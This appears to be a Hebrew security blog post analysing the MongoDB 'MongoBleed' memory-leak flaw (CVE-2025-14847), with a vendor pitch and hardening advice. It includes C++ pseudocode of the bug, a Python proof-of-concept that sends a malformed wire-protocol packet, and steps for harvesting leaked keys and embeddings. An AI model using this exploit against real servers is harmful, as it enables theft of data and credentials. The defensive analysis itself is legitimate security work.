במהלך האבולוציה האדריכלית של 2026, ה מאגר נתונים וקטורי הפך להיפוקמפוס של המוח המלאכותי של הארגון. הוא מאחסן את ההקשר, ההיסטוריה והידע הפרטי המניעים את מודלי השפה הגדולים (LLM). עם זאת, חשיפת CVE-2025-14847—שמוענק לו כינוי קודר "MongoBleed" על ידי קהילת האבטחה ההתקפית — מגלה שההיפוקמפוס הזה מדמם.
זה לא הזרקת SQL או תצורה שגויה. זהו כשל בפרוטוקול בינארי בתוך מנוע MongoDB עצמו (CVSS 9.1). הפגיעות מאפשרת לתוקפים לא מאומתים לנצל כשל בבדיקת גבולות ב-BSON parser, ולהטעות את השרת להחזיר קטעי זיכרון תהליך גולמי.
עבור מהנדס אבטחת AI קיצוני, ההשלכות הן קטסטרופליות: הזיכרון הוא הפרת הנתונים החדשה. אם תוקף יכול לקרוא את הערימה של מופע MongoDB שלך, הוא יכול לשחזר את ההטמעות שלך, לגנוב אסימוני הפעלה ולהוציא את הטקסט הגולמי של בסיס הידע RAG שלך מבלי להריץ שאילתה. מאמר זה מבצע ניתוח פורנזי של הפגם בפרוטוקול Wire ומתאר את אסטרטגיית ההגנה לתשתית AI בעלת ערך גבוה.

כרטיס מודיעין פגיעות
| מטרי | פרטי מודיעין |
|---|---|
| מזהה CVE | CVE-2025-14847 ("MongoBleed") |
| רכיב היעד | שרת MongoDB (פרוטוקול Wire / מפרש BSON) |
| גרסאות מושפעות | MongoDB 7.0.x לפני 7.0.12, 8.0.x לפני 8.0.2 |
| סוג הפגיעות | קריאה מחוץ לגבולות (CWE-125) |
| ציון CVSS v3.1 | 9.1 (קריטי) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) |
| וקטור התקפה | פגום OP_MSG או OP_QUERY חבילות |
ניתוח טכני מעמיק: הפרוטוקול Ghost in the Wire
MongoDB מתקשר באמצעות פרוטוקול בינארי קל משקל, מבוסס TCP, המכונה פרוטוקול חוטים. הנתונים מסודרים בסדר סדרתי ב BSON (JSON בינארי). היעילות של פרוטוקול זה מבוססת על כותרות אורך מפורשות.
הגורם הבסיסי ל-CVE-2025-14847 טמון בשגיאה קלאסית של "אמון ללא אימות" בתוך לולאת הטיפול בהודעות, הקשורה באופן ספציפי לעיבוד של OP_MSG (OpCode 2013) או מורשת OP_QUERY (OpCode 2004) מנות.
1. האנטומיה של חבילה פגומה
הודעת MongoDB סטנדרטית מורכבת מכותרת (MsgHeader) ואחריו הגוף.
אורך ההודעה(int32): הגודל הכולל של ההודעה.requestID(int32): מזהה.תגובה ל(int32): מזהה הבקשה אליה מגיב הודעה זו.קוד אופרציה(int32): סוג הבקשה.
הפגם: בגרסאות המושפעות, מאזין הרשת קורא את אורך ההודעה מהשקע ומקצה מאגר. עם זאת, בעת ניתוח המסמכים הפנימיים של BSON בגוף, מתעוררת סתירה אם שדה האורך הפנימי של מסמך BSON טוען שהוא קטן מהמאגר, או אם אורך ההודעה טוען שהוא גדול יותר מהנתונים שנשלחו בפועל (בתרחישי פיצול ספציפיים).
2. שחזור לוגיקה פורנזית (פסאודו-קוד C++)
הפגיעות מתבטאת במהלך בניית תגובת שגיאה או תגובת סטטוס.
C++
// לוגיקה פגיעה מבחינה קונספטואלית ב-message_handling.cpp void dispatchMessage(Message& message) { const char* data = message.body(); int32_t claimed_len = message.header().dataLen();
// פגם קטלני: המנתח מניח שהמאגר מכיל אך ורק // את הנתונים המוגדרים על ידי האובייקט BSON התקין. // אם האובייקט BSON פגום (למשל, מסתיים בטרם עת), // פעולת memcpy הבאה עבור התשובה עלולה לקרוא יותר מדי.
BSONObj command = BSONObj(data); // מאמת את המבנה הבסיסי if (command.isEmpty()) { // נתיב שגיאה: בעת יצירת יומן השגיאות או התגובה, // המנוע מנסה להחזיר את הפקודה "השגויה".
// הוא קורא 'claimed_len' בתים מ-'data', ומתעלם מכך ש-// 'data' עשוי להצביע על מאגר קטן מ-'claimed_len' // או לקרוא למעשה לתוך קטע הערימה הבא. reply.append("bad_cmd", get_raw_bytes(data, claimed_len)); // LEAK }
}`
זה מאפשר לתוקף לקבוע את גודל חלון קריאת הזיכרון (עד 64KB בחלק מהתקפות) על ידי מניפולציה של אורך ההודעה כותרת תוך מתן עומס מינימלי.

שרשרת ההרג: ריקון מאגר המידע
בניגוד לקריסה (DoS), המטרה כאן היא חילוץ נתונים. ההתקפה היא שקטה; ייתכן שהיומנים יציגו שגיאות "BSON לא חוקי", אך הנתונים כבר עזבו את השקע.
שלב 1: לחיצת היד
התוקף יוצר חיבור TCP גולמי ליציאת MongoDB (ברירת מחדל 27017). אין צורך בהליך אימות (SASL/SCRAM) כדי להגיע ללוגיקת הניתוח הפגיעה, מכיוון שהשרת חייב לנתח את החבילה כדי לקבוע אם היא צרכים אימות.
שלב 2: מטען הדימום
התוקף שולח חבילה עם כותרת לגיטימית אך גוף BSON מקוצר.
לוגיקת PoC ב-Python:
פייתון
`import socket import struct
def exploit_mongobleed(target_ip, port=27017): # 1. בניית הכותרת הפגומה # MsgLen=1024 (מוצהר), ReqID=1, ResTo=0, OpCode=2004 (OP_QUERY) # אנו מצהירים על 1024 בתים, אך נשלח הרבה פחות. header = struct.pack(“<iiii”, 1024, 1, 0, 2004)
# 2. המטען: BSON מינימלי # מספיק כדי לעבור את הבדיקה הראשונה, אך מטען לא שלם = b"\\x05\\x00\\x00\\x00\\x00" # 3. שלח את ההדק s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, port)) s.send(header + payload) # 4. קבלת ה-Bleed # השרת מגיב עם אובייקט שגיאה המכיל את ה-# "הקשר" של הבקשה הפגומה, שכולל כעת זיכרון ערימה סמוך. data = s.recv(4096) return data`
שלב 3: הקציר
מטען התגובה מכיל זבל בינארי ואחריו נתונים מובנים. התוקף מבצע ניתוח מחרוזות או ניתוח אנטרופיה על דמפ זה. בסביבת RAG ייצורית, דמפ הערימה הזה מכיל לרוב:
- מסמכי BSON מפוענחים: תוצאות שאילתות אחרונות שמורות בזיכרון.
- צפים וקטוריים: רצפים של מספרים צפים המייצגים את הטמעת המסמכים הפרטיים.
- Nonces לאימות: נתוני מלח ואתגר עבור הפעלות של משתמשים אחרים.
ניתוח השפעה: מדוע מערכות RAG פגיעות באופן ייחודי
באפליקציות אינטרנט מסורתיות, דליפת זיכרון עלולה לחשוף את ה-hash של הסיסמה. ביישומים מבוססי בינה מלאכותית, הקשר הזיכרון עשיר הרבה יותר.
- דליפות בחלון הקשר: מערכות RAG טוענות ללא הרף קטעי טקסט גדולים (Context Windows) לזיכרון כדי ליצור הטמעות או להזין את ה-LLM. MongoBleed מאפשר לתוקפים לדגום זרם זה, ובכך למעשה לצותת ל"תהליך החשיבה" של ה-AI.
- סיכוני היפוך וקטור: בעוד שהפיכת הטמעה לטקסט מדויק היא משימה קשה, הדלפת הווקטורים הגולמיים מאפשרת לתוקפים לאמן "מודל צל" המדמה את בסיס הידע הקנייני.
- מפתחות תשתית: תהליכי MongoDB מחזיקים לעתים קרובות מפתחות של ספק ענן (AWS_ACCESS_KEY_ID) או מפתחות KMS במשתני סביבה הממופים למרחב הכתובות של התהליך. קריאה יתר של הערימה יכולה להגיע לבלוקים סביבתיים אלה.

הגנה מבוססת בינה מלאכותית: היתרון של Penligent
איתור CVE-2025-14847 הוא סיוט עבור סורקי פגיעות סטנדרטיים. הם פועלים בשכבת HTTP/יישום ומפרשים שגיאות פרוטוקול בינאריות כ"שירות לא זמין" ולא כ"פגיעות מאושרת".
זה המקום שבו Penligent.ai מגדיר מחדש את אבטחת התשתית. Penligent משתמשת ב- פוזינג מבוסס פרוטוקול עם בינה מלאכותית:
1. הבנת פרוטוקול בינארי
סוכני Penligent אינם מוגבלים לפרוטוקולי טקסט. הם מנתחים ומבנים מבנים BSON באופן מקורי. ה-AI מייצר אלפי מנות Wire Protocol תקפות אך פגומות, המכוונות באופן ספציפי לתנאי הגבול של ה- אורך ההודעה שדה.
2. איתור דליפות היוריסטי
במקום לחפש באנר גרסה (שניתן לזייף), Penligent מנתח את התגובה הבינארית.
- ניתוח אנטרופיה: הוא מזהה בלוקים בעלי אנטרופיה גבוהה הדומים לדפי זיכרון ולא להודעות שגיאה BSON מובנות.
- התאמת תבניות: הוא סורק את התגובה כדי לאתר תבניות רגישות (לדוגמה,
sk-עבור מפתחות API, מבני JSON ממפגשים אחרים) שאסור שיופיעו בתגובת שגיאה.
3. אימות לא הרסני
Penligent מאמת את הפגיעות על ידי זיהוי אפקט ה-"Bleed" מבלי לקרוס את שירות מסד הנתונים. הוא מספק פסק דין סופי של "פגיע" בהתבסס על נוכחות של שרידי זיכרון דולפים, ובכך מבטל תוצאות חיוביות כוזבות הקשורות לפקיעת זמן כללית.
מדריך לתיקון וחיזוק
אם אתה מפעיל MongoDB המארח את עצמו עבור עומסי העבודה של ה-AI שלך, נדרשת פעולה מיידית.
1. שדרוג (הפתרון היחיד)
שדרג ל MongoDB 7.0.12 או 8.0.2 מיד. התיקון מציג בדיקת גבולות קפדנית ב- הודעה בונה מחלקה והלוגיקה של אימות BSON.
2. אכיפת TLS הדדי (mTLS)
הפתרון היעיל ביותר למניעת ניצול פרצות ברמת הפרוטוקול הוא למנוע מהחיבור להגיע לפרסר.
- תצורה: הגדר
net.tls.mode: requireTLSוnet.tls.CAFile. - השפעה: התוקף אינו יכול לשלוח את חבילת Wire Protocol הפגומה מכיוון שאינו יכול להשלים את לחיצת היד TLS ללא תעודת לקוח תקפה החתומה על ידי CA הפנימי שלך.
3. פילוח רשתות
בודדו את מסד הנתונים הווקטורי שלכם. הוא לא צריך להיות נגיש מהאינטרנט הציבורי או אפילו מרשת העובדים הכללית. רק לכתובות ה-IP הספציפיות של שרתי היישומים RAG (Orchestrators) צריכה להיות גישה באמצעות רשימות מורשות.
סיכום
CVE-2025-14847 (MongoBleed) מזכיר לנו בבירור כי "שכבת הנתונים" היא נקודת התורפה של מהפכת הבינה המלאכותית. בעודנו בונים מעקות בטיחות עבור מודלים של שפה גדולה (LLM), אסור לנו לשכוח לנעול את הדלתות לספרייה.
עבור מהנדס אבטחה מובחר, הלקח ברור: אבטחת פרוטוקולים היא אבטחת נתונים. הסתמכות על גבולות הרשת אינה מספיקה; עלינו לאמת את תקינותם של חילופי הקבצים הבינאריים המכילים את הידע היקר ביותר שלנו. נצל את ה-fuzzing המונע על ידי בינה מלאכותית כדי לאתר דליפות אלה לפני שהן הופכות למבול.

